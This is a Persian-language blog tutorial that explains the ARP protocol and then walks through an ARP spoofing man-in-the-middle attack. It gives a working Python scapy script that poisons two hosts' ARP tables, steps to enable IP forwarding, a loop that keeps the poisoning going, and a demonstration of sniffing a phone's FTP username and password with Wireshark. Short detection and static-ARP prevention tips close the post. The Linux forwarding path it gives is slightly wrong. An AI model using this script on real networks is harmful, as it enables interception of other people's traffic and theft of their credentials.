-
چهارشنبه, ۱۱ فروردين ۱۴۰۰، ۰۶:۲۶ ب.ظ
-
۱۸۸۳
پیاده سازی حمله ی ARP Spoofing در پایتون
درود به همه !
با یک پست دیگه در زمینه ی شبکه (network) در خدمت شما هستیم . در این پست قرار هستش که حمله ی arp spoofing که در اصل یکی از مهمترین نوع حملات مرد میانی (MITM : man in the middle) به حساب میاد رو در پایتون پیاده سازی کنیم و نحوه ی استفاده از اون رو یاد بگیریم . با ما همراه باشید .
[+] خب پیشنیاز این پست همینطور که میدونید دانش پایه ای شبکه هستش و خود برنامه نویسی پایتون .
با توضیحات تئوری در مورد این موضوع شروع میکنیم .
در اصل هر کامپیوتر یا دستگاهی در شبکه که دارای کارت شبکه (NIC : Network Interface Card) هستش ،یک هاست در شبکه به حساب میاد . این دستگاه میتونه آی پی (IP) دریافت کنه و در شبکه فعالیت کنه (ارتباط برقرار کنه و اطلاعاتشو به اشتراک بزاره) . علاوه بر داشتن آی پی ، هر کارت شبکه دارای یک آدرس فیزیکی یکتا نیز خواهد بود که به آن مک آدرس (Mac Address) میگیم .
شاید بگین فرق آی پی و مک آدرس دقیقا چیه . اگه بخوام فرق ظاهریشونو بگم که خب مک آدرس یک آدرس 6 بایتی هستش که از شش بخش 1 بایتی تشکیل شده . به فرم زیر :
هر کدام از بخش های یک بایتی با استفاده از علامت دونقطه (:) از هم جدا شدن .
ولی آدرس آی پی (ورژن 4) از چهار بخش 1 بایتی تشکیل شده و در نتیجه یک آی پی ورژن 4 (IPv4) چهار بایت هستش . به فرم زیر :
بخش های آی پی با علامت نقطه (.) از هم جدا شده اند که به هر بخش یک اکتت (octet) میگوییم .
از تفاوت ظاهری آی پی و مک آدرس که بگذریم باید بگم به طور کلی آدرس آی پی برای مسیر یابی در شبکه استفاده میشه و آدرس مک برای برقراری ارتباط .
برای مثال . فرض کنید کامپیوتر A در شبکه میخواد با کامپیوتر B ارتباط برقرار کنه . هر کدوم از این کامپیوتر ها یک آدرس آی پی و یک آدرس فیزیکی (Mac Address) دارن :
1 - کامپیوتر A از آدرس آی پی کامپیوتر B استفاده میکنه تا مسیر ارتباط با اونو پیدا کنه (مسیریابی / routing)
2 - کامپیوتر A از مک آدرس کامپیوتر B استفاده میکنه تا باهاش ارتباط برقرار کنه (برقراری ارتباط)
حالا که تفاوت ادرس آی پی و مک آدرس رو میدونیم بریم سراغ تعریف و توضیح یک پروتکل بسیار مهم در این پست یعنی پروتکل ARP .
پروتکل ARP (Address Resolution Protocol) برای تبدیل آدرس آی پی به آدرس مک به کار میره . مثال کامپیوتر A , B رو یادتونه که بالا زدیم ؟ فرض کنید کامپیوتر A میخواد با کامپیوتر B ارتباط بگیره ولی متاسفانه از بخت بدش فقط آدرس آی پی کامپیوتر B رو داره . خب میتونه کامپیوتر B رو از طریق آدرس آی پیش در شبکه پیداش کنه (مسیریابی) ولی چون آدرس مک اون رو نداره نمیتونه باهاش ارتباط برقرار کنه . اینجاس که جنتلمن پروتکلی به نام ARP پا به عرصه میزاره و میترکونه . کامپیوتر A میاد با بهره گیری از پروتکل ARP ، مک آدرس کامپیوتر B رو از طریق آدرس آی پی کامپیوتر B بدست میاره .
در اصل شکل الگوریتم پروتکل ARP به صورت زیر هستش :
همینطور که در تصویر میبینید ، آدرس آی پی رو به عنوان ورودی میدیم به پروتکل ARP و اون مک آدرس رو به عنوان خروجی به ما بر میگردونه .
تا اینجا فقط کاربرد پروتکل ARP رو فهمیدیم . اما طرز کارش چی ؟ بریم سراغ طرز کار این پروتکل . واقعا پروتکل ARP چجوری آدرس IP رو به مک آدرس تبدیل میکنه ؟؟؟؟
فرض کنید همون کامپیوتر A میخواد از پروتکل ARP برای بدست آوردن مک آدرس کامپیوتر B استفاده کنه :
1 - کامپیوتر A یک بسته ی درخواست ARP Request رو به صورت برودکست (Broadcast یعنی یک بسته رو به تمام کامپیوتر ها در شبکه ارسال کنیم.) ارسال میکنه در شبکه . آدرس آی پی مبدا (source) در بسته برابر با آدرس آی پی خود کامپیوتر A هستش . آدرس آی پی مقصد (destination) در بسته برابر با آدرس آی پی کامپیوتر B هستش . آدرس مک مبدا برابر با مک آدرس کامپیوتر A و آدرس مک مقصد برابر با مقدار FF:FF:FF:FF:FF:FF (مک آدرس برودکست) هستش
2 - بعد از ارسال ، این بسته میرسه به دست کامپیوتر B . میاد میبینه یک بسته ی ARP هستش و مک آدرس مقصدشم برابر با مک آدرس خودشه (یعنی کامپیوتر B) درنتیجه با خودش میگه عه ! کامپیوتر A آدرس مک منو نیاز داره ظاهرا . پس میاد یک بسته جواب ARP Response رو میفرسته به کامپیوتر A . در این بسته ، آدرس آی پی مبدا برابر آدرس آی پی کامپیوتر B و آدرس آی پی مقصد نیز برابر آدرس آی پی کامپیوتر A هستش . و همینطور مک آدرس مبدا برابر مک آدرس B و مک آدرس مقصد برابر مک آدرس A هستش .
3 - وقتی کامپیوتر A بسته رو میگیره ، میاد میبینه مک آدرس مبدا بسته چیه . همینطور که میدونید مک آدرس مبدا بسته همون مک آدرس کامپیوتر B هستش چون اون فرستادتش . پس اینجوریه که میاد مک آدرس کامپیوتر B رو بدست میاره و این مک آدرس رو داخل جدول مک خودش ذخیره میکنه تا برای همیشه داشته باشه (هر کامپیوتر یک جدول مک آدرس داره که مک آدرس کامپیوتر هایی که بدست میاره رو داخلش ذخیره میکنه تا هر دفعه هی نخواد از ARP برای بدست آوردنشون استفاده کنه) !!!! به همین سادگی و راحتی
خب میتونم رسما بگم زنگ تفریحه و اگه نیاز میدونید یکم استراحت کنید و این چیزایی که یاد گرفتیم رو مرور کنید و بریم ادامه ...
تا اینجا پیش نیاز حمله ی ARP Spoof یا همون جعل آرپ رو یادگرفتیم . اما این حمله چیه دقیقا ؟
طی حمله ی ARP Spoof ما میایم با ارسال جواب های آرپ جعلی (Fake ARP Response) ، جدول های مک کامپیوتر ها رو مسموم میکنیم (به میل خودمون تغییرشون میدیم) .
برای مثال همون ارتباط کامپیوتر A , B باهم رو فرض کنید . ارتباط این دو فرضا به شکل زیر است :
حالا هکر میاد یک بسته ی جعلی جواب آرپ (ARP Response) میفرسته به کامپیوتر A و بهش میگه که من کامپیوتر B هستم . چطوری ؟ هکر میاد یک بسته ی جواب آرپ (ARP Response) بدون توجه به هیچ درخواستی میسازه و مقادیر بسته رو به صورت زیر تنظیم میکنه :
آدرس آی پی مبدا : آدرس آی پی کامپیوتر B (اینطوری کامپیوتر A فک میکنه این بسته رو کامپیوتر B فرستاده )
آدرس آی پی مقصد : آدرس آی پی کامپیوتر A
مک آدرس مبدا : مک آدرس هکر (اینطوری کامپیوتر A فک میکنه مک آدرس مربوط به آی پی کامپیوتر B برابر با مک آدرس سیستم هکره)
مک آدرس مقصد : مک آدرس کامپیوتر A
در نتیجه کامپیوتر A به این نتیجه میرسه که مک آدرس کامپیوتر B برابر مک آدرس کامپیوتر هکره :||||||||||||| . پس میاد جدول مکشو آپدیت میکنه و داخلش ثبت میکنه که مک آدرس کامپیوتر B برابر مک آدرس سیستم هکره .
از این به بعد این بنده خدا کامپیوتر A هر اطلاعاتی میخواد به کامپیوتر B بفرسته میره جدول مک خودشو میبینه و چون مک آدرس کامپیوتر B رو برابر با مک آدرس کامپیوتر هکر قرار داده ، بسته رو ارسال میکنه به کامپیوتر هکر و خیال میکنه به A ارسال کرده .
تا اینجا ما کامپیوتر A رو مسموم کردیم . فرض کنید همینکارو با کامپیوتر B هم بکنیم . به عبارتی هکر بیاد یک جواب آرپ جعلی به کامپیوتر B بفرسته و مشابه مورد قبل به کامپیوتر B بگه من کامپیوتر A هستم . در بسته ارسالی :
آدرس آی پی مبدا : آدرس آی پی کامپیوتر A (اینطوری کامپیوتر B فک میکنه این بسته رو کامپیوتر A فرستاده )
آدرس آی پی مقصد : آدرس آی پی کامپیوتر B
مک آدرس مبدا : مک آدرس هکر (اینطوری کامپیوتر B فک میکنه مک آدرس مربوط به آی پی کامپیوتر A برابر با مک آدرس سیستم هکره)
مک آدرس مقصد : مک آدرس کامپیوتر B
با مسموم کردن کامپیوتر B حمله arp spoof انجام شده . در این موقعیت ، کامپیوتر A فک میکنه هکر کامپیوتر B هستش و همینطور کامپیوتر B فکر میکنه کامپیوتر هکر ، کامپیوتر A هستش
این باعث میشه هر دو کامپیوتر های A , B وقتی میخوان به هم اطلاعات ارسال کنند ، تمام اطلاعات رو به هکر به جای همدیگه ارسال کنن .
و در اینجا ارتباط A , B به صورت شکل زیر در میاد :
همینطور که میبینید هکر بین این دو قرار گرفته و مانند مردی در میان داره فعالیت میکنه (MITM : man in the middle) :)))))))
حالا هکر هر بسته ای که دریافت میکنه رو در عین شنود کردنش ، از خودش عبور میده. بنابراین وقتی مثلا کامپیوتر A یه چیزی میفرسته به B اول میرسه دست هکر ، هکر اونو شنود میکنه و سپس از خودش عبور میده و میرسه به دست B و برعکس برای B هم همینطور . اینطوریه که هکر تمام ارتباط این دو رو شنود میکنه و هیچکدومشون در حالت عادی متوجه حضور هکر نمیشن .
به این میگن حمله ی ARP Spoof . حالا میخوایم همین حمله رو با یک اسکریپت پایتونی پیاده سازی کنیم . یعنی اسکریپتی بنویسیم که آدرس آی پی دو هاست در شبکه رو بگیره و اونا رو مسموم کنه و ما رو بین ارتباط این دو قرار بده . این دو هاست لزوما دو کامپیوتر نیست . مثلا میتونه بین یکی از کامپیوتر های شبکه و مودم قرار بگیره . این باعث میشه هر ارتباطی که اون کامپیوتر با اینترنت میگیره رو بشه شنود کرد (چون ترافیک ورودی خروجیش از مودم باید عبور کنه به هرحال) .
این اسکریپت هم در لینوکس و هم در ویندوز کار میده .
برای نوشتن این اسکریپت از کتابخونه ی scapy استفاده میکنیم .
نصب scapy در لینوکس : (استفاده از پکیج منیجر خود لینوکستون)
MrPython@debian:~$ sudo apt-get install python3-scapy
نصب scapy در ویندوز : (استفاده از pip)
در ویندوز ، قبل از نصب نیاز هستش که درایور مورد نیاز scapy یعنی (NPcap) رو روی ویندوزمون نصب کنیم . اونو از لینک زیر میتونید دانلود و نصبش کنید :
https://nmap.org/npcap/#download
C:\> pip install scapy
بعد از نصب کتابخونه مورد نیاز میریم سراغ سورس کد :
from scapy.all import *
def getmac(ip): packet = Ether(dst = "ff:ff:ff:ff:ff:ff")/ ARP(pdst = ip) result = srp(packet , verbose = 0) return result[0][0][1].hwsrc
def spoof(target_ip , spoof_ip): target_mac = getmac(target_ip) # ARP -> IP 2 MAC
packet = Ether(dst = target_mac) / ARP(psrc=spoof_ip , pdst=target_ip,hwdst = target_mac , op = "is-at") try: sendp(packet , verbose = 0) return True except : return False
def restore(target_ip , spoof_ip): target_mac = getmac(target_ip) spoof_mac = getmac(spoof_ip)
packet = Ether(dst = target_mac) / ARP(psrc = spoof_ip ,pdst = target_ip ,hwsrc = spoof_mac ,hwdst = target_mac ,op = "is-at")
try: sendp(packet , verbose = 0) return True except: return False
# # # # # # # # # # # # # # # # # # # target_ip = input("First HOST IP : ") spoof_ip = input("Second HOST IP : ")
if spoof(target_ip , spoof_ip) and spoof(spoof_ip , target_ip): print("Done . ") else: print("error")
req = input("Restore [y/n] ? ").lower() if req == "y": restore(target_ip , spoof_ip) restore(spoof_ip , target_ip)
توضیح : در ابتدا ایمپورت لازم از scapy رو انجام دادیم . سپس یک تابع تعریف کردیم به نام getmac . همینطور که ازش اسمش پیداس قراره برامون مک آدرس یک کامپیوتر رو از طریق آی پی که بهش در ورودی میدیم بدست بیاره (از پروتکل ARP استفاده میکنیم) . در ابتدای این تابع یک بسته ARP ساختیم و اونو ریختیم داخل متغییر packet . همینطور که میبینید مک آدرس مبدا این بسته (dst) برابر با مک آدرس برودکست (ff:ff:ff:ff:ff:ff) هستش چون همینطور که بالا یادگرفتیم درخواست آرپ برای بدست آوردن مک آدرس یک بسته ی برودکست است .
سپس این بسته رو با استفاده از متود srp (send receive packet) ارسال کردیم و جواب دریافتی از سیستم مقصد که حاوی مک آدرسش هست رو ریختیم داخل متغییر result . حالا از متغییر result ، مک آدرس مبدا بسته دریافتی (hwsrc) که همون مک آدرس سیستمی که میخواستیم هست رو به عنوان خروجی برگردوندیم .
بعد از اون یه تابع داریم به اسم spoof که در اصل کار اصلی رو انجام میده یعنی ارسال کردن جواب های ARP جعلی . در ورودی دوتا آدرس آی پی از ما میگیره یکی target_ip که برابر آدرس آی پی سیستمی هستش که میخوایم جدول مکش رو دستکاری کنیم (همونی که قراره بسته مک آدرس جعلی بهش ارسال بشه) . دوم spoof_ip که برابر آدرس آی پی سیستمی هستش که قراره ما (هکر) خودمونو به جاش جا بزنیم .
در ابتدای این تابع اومدیم مک آدرس سیستمی که قراره مسموم بشه رو بدست آوردیم (target_mac) چون برای تکمیل اطلاعات بسته جعلی که میسازیم نیازش داریم .
سپس یه پکت جواب ARP با اطلاعات جعلی که یادگرفتیم ساختیم . توضیح پارامتر های لایه ARP :
psrc : آدرس آی پی مبدا
pdst : آدرس آی پی مقصد
hwsrc : مک آدرس مبدا
hwdst : مک آدرس مقصد
op : مشخص کننده ی نوع بسته (مشخص کردیم یک بسته جواب ARP هستش این بسته)
این پارامتر ها رو با استفاده از مفاهیمی که در بخش توضیح تئوری حمله یادگرفتیم پرشون کردیم . حالا بسته رو اومدیم با استفاده از متود sendp ارسال کردیم .(تفاوت srp و sendp در ارسال پکت ها اینه که srp وقتی بسته رو ارسال کرد صبر میکنه تا یه جوابی برای اون بسته بگیره در شبکه ولی sendp فقط ارسالش میکنه) .
البته اومدیم از بلاک های try / except استفاده کردیم تا متوجه بشیم بسته درست ارسال شده یا نه . اگه بسته بدون ارور ارسال بشه مقدار True به عنوان خروجی تابع برمیگرده . در غیر این صورت مقدار False به صورت خروجی برگردونده میشه .
تابع restore هم دقیقا کارش برعکس تابع spoof است . یعنی میاد دوتا آدرس آی پی رو میگیره و جدول مک اونا رو از حالت مسمومیت در میاره . یعنی جواب های ARP بهشون ارسال میکنه که اطلاعات صحیح داخلش نوشته شدن و باعث میشه مک آدرس های درست و مربوط هر سیستم داخل جدول مکش ذخیره بشه . از این تابع برای خنثی کردن حمله استفاده میکنیم .
بعد از تعریف توابع اومدیم دوتا ورودی گرفتیم . اولین ورودی آی پی اولین هاست و دومین ورودی ، آی پی دومین کامپیوتری که میخوایم بین ارتباطشون قرار بگیریم رو گرفتیم .
سپس در خط بعد به همراه if اومدیم تابع spoof رو دو مرتبه با پارامتر های جا به جا فراخوانی کردیم (اولین بار اولین کامپیوتر رو مسموم میکنه و دومین بار چون پارامتر ها جابه جا شدن ، دومین کامپیوتر رو مسموم میکنه و اینجا دقیقا بین ارتباطشون قرار میگیریم )
در اینجا حمله انجام شده و ما اگه به درستی اسکریپت تا اینجا اجرا شده باشه ما بین ارتباط دو هاست قرار گرفتیم . در اینجا یه اینپوت گذاشتیم که آیا توابع restore اجرا بشن یا نه . برای خنثی کردن اثر حمله میتونیم ازش استفاده کنیم .
اسکریپت آمادس .
و اما بریم سراغ اجرای اسکریپت و استفاده از اون. برای اجرای صحیح حمله باید ip forwarding رو در سیستم عاملمون فعال کنیم . حالا چی هست ؟ ببین به طور پیشفرض وقتی این قابلیت در سیستم عاملمون (چه لینوکس چه ویندوز) غیر فعال باشه ، هر بسته ای که دریافت میکنیم اگه مقصد بسته مربوط به ما نباشه اون بسته رو رها میکنیم . از اونجایی که ما بین ارتباط دو کامپیوتر قرار میگیریم این خیلی بده واسه ما . چون ما باید پکت های دو کامپیوتر هدف رو از خودمون عبور بدیم تا ارتباطشون از بین نره . اگه قابلیت ip forwarding رو فعال کنیم ، هر بسته ای که دریافت میکنیم اگه مقصدش از خودمون بود که هیچی . اگه از خودمون نبود ، سیستممون خودکار فورواردش میکنه به مقصدش . بنابراین اینطوری بسته های دو کامپیوتری که بینشونیم خیلی راحت به هم میرسه و از ما عبور میکنه و ما این وسط میتونیم شنودشون کنیم .
فعال کردن ip forwarding در لینوکس خیلی سادس فقط باید عدد 1 رو بنویسیم داخل فایل زیر :
برای غیرفعال کردنش هم باید عدد 0 رو بنویسیم داخلش . بنابراین از دستور زیر برای فعال کردن ip forwarding در لینوکس استفاده میکنیم :
MrPython@debian:~$ echo 1 > /proc/sys/net/ipv4/ip_forwarding
و اما برای فعال کردن در ویندوز ابتدا کلید های ترکیبی Windows + R رو فشار میدیم تا پنجره RUN باز بشه و سپس services.msc رو تایپ میکنیم و اینتر میزنیم :
بعد از اینتر زدن وارد یه پنجره ای میشیم که لیست سرویس های ویندوز داخلش هست . سرویس Routing and Remote Access رو پیداش میکنیم :
سپس روی اون کلیک راست میکنیم و گزینه ی properties رو انتخاب میکنیم و از پنجره باز شده گزینه ی startup type رو میزاریم روی Manual :
سپس گزینه ok رو میزنیم .
حالا دوباره روی سرویس Routing and Remote Access کلیک راست میکنیم و گزینه ی Start رو میزنیم . در این لحظه ip forwarding در سیستم ما فعال میشه . (برای غیر فعال کردنش کلیک راست کنید روش و گزینه ی STOP رو بزنید)
بریم اسکریپت . من یک سیستم ویندوز 8 دارم که میخوام کلا ارتباطشو شنود کنم . بنابراین میام خودمو بین سیستم 8.1 و مودم قرار میدم .
ای پی ویندوز 8.1 برابر 192.168.1.103 و آی پی مودم برابر 192.168.1.1 هستش . بنابراین میام اسکریپت رو با دسترسی administrator در ویندوز یا root در لینوکس اجرا میکنم و این دوتا آی پی رو میدم به دوتا اینپوتی که اسکریپت ازمون میگیره .
حالا حمله انجام شده . اگه برم جدول ARP ویندوز 8.1 رو برسی کنم میبینم که مک آدرس ها به درستی جعل شدن (آدرس آی پی سیستم خودم (سیستم هکر در حمله) برابر 192.168.1.102 هستش) .
حالا میتونم از روی سیستم خودم که بین ارتباطشون قرار گرفتم تمام ترافیک انتقالی بین سیستم ویندوز 8.1 و مودم رو شنود کنم .برای اینکار من از برنامه wireshark استفاده میکنم . بعد از باز کردن وایرشارک ابتدا کارت شبکه ای که در اصل حمله رو باهاش انجام دادم رو انتخاب میکنم :
سپس میبینیم که تمام ترافیک انتقالی بین ویندوز 8.1 و مودم شنود میشه برامون .
حالا مثلا من همین حمله رو بین گوشی اندرویدیم و مودممون پیاده میکنم . آی پی گوشیم برابر 192.168.1.100 هستش . با گوشیم یک لاگین ftp میزنم به یک سرور لینوکسی: (البته قبلش وایرشارک رو هم فعال میکنم تا شنود کنه ارتباطشو)
حالا میام داخل وایرشارک و فیلتر ftp رو ست میکنم تا فقط ارتباطات ftp رو بهم نشون بده .
میبینید که تمام ارتباط ftp که گوشیم با سرور لینوکسی گرفت شنود شده . حتی یوزرنیم و پسوورد ftp سرور لینوکسی که با گوشی وارد کردیم رو هم شنود کرده :
یوزرنیم :
پسوورد :
این شنود سودمند نمونه ای کوچک از کارایی هستش که میشه با arp spoof انجام داد . در این پست یاد گرفتیم Arpspoof رو انجام بدیم . در پست های بعدی دیگه شروع میکنیم کارهایی که میشه با arp spoof انجام داد رو توضیح میدیم . مثلا شنود اعتبارنامه های پروتکل های مختلف مثل همین ftp که انجامش دادیم یا هزارتا کار دیگه ....
فقط نکته ای که هست اینه که این اسکریپت طوریه که اثر حملش ممکنه بعد از 10 دقیقه یا کمتر از بین بره . یعنی جدول مک آدرس کامپیوترا خودکار درست میشن چون ما پکت جعلی جواب ARP رو فقط یک بار ارسال میکنیم .اگه میخواین اثرش همیشگی باشه اونجا که دوبار تابع spoof رو فراخونی میکردیم رو بزارین داخل یه حلقه ی while بینهایت تا همیشه اینا رو هی مسموم کنه . اینطوری دیگه اثرش تا وقتی که اسکریپت قطع نشه از بین نمیره . البته بهتر هستش بینشونم یه وقفه بزارید :
while True:
spoof(target_ip , spoof_ip)
spoof(spoof_ip , target_ip)
time.sleep(3)
یادتون نره برای استفاده از تابع sleep باید کتابخونه ی time رو هم ایمپورت کنید .
برای شناسایی این حمله در شبکه کافیه یک بار جدول مک آدرستون رو با دستور arp -a چه در لینوکس و چه در ویندوز چک کنید . اگر دیدید که دو یا چند آدرس آی پی مک آدرس مشابهی دارن باید شک کنید که نکنه حمله arp spoof اجرا شده باشه .
و برای جلوگیری از حمله هم بهترین راه اینه که مک آدرس های جدولتون رو به صورت استاتیک و دستی وارد کنید تا تغییر نکنند .
نظرتون چی بود راجع به این پست ؟ سوالی دارین ؟
یا حق !
Telegram Channel : @mrpythonblog